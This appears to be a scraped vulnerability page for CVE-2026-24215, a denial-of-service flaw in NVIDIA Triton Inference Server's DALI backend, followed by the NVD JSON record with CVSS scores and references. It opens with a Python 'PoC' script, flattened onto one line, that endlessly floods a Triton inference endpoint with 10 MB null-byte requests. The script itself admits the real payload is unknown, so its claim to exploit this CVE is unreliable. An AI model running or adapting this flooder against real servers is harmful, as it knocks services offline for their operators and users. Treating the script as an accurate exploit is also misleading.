CVE-2026-24215

import requests import time # PoC for CVE-2026-24215 # Description: This script attempts to trigger uncontrolled resource consumption # in the NVIDIA Triton Inference Server DALI backend by sending malformed requests. TARGET_URL = "http://target-triton-server:8000/v2/models/dali_model/infer" def trigger_exploit(): headers = { "Content-Type": "application/octet-stream", "Accept": "application/json" } # Simulate a payload that triggers excessive resource usage in DALI backend # The actual payload structure depends on the specific vulnerability details malicious_payload = b"\x00" * 10000000 # Large dummy payload print("[*] Sending exploit payload to target...") try: while True: response = requests.post(TARGET_URL, data=malicious_payload, headers=headers, timeout=10) print(f"Request sent, Status: {response.status_code}") time.sleep(0.1) # High frequency requests except KeyboardInterrupt: print("\n[*] Exploit simulation stopped.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": trigger_exploit()

{"cve": {"id": "CVE-2026-24215", "sourceIdentifier": "[email protected]", "published": "2026-05-20T04:16:47.373", "lastModified": "2026-05-20T17:19:31.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability in the DALI backend, where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.03", "matchCriteriaId": "D5CC0AB5-9C28-4746-A0A0-D44CC1D43DF6"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24215", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5828", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24215", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}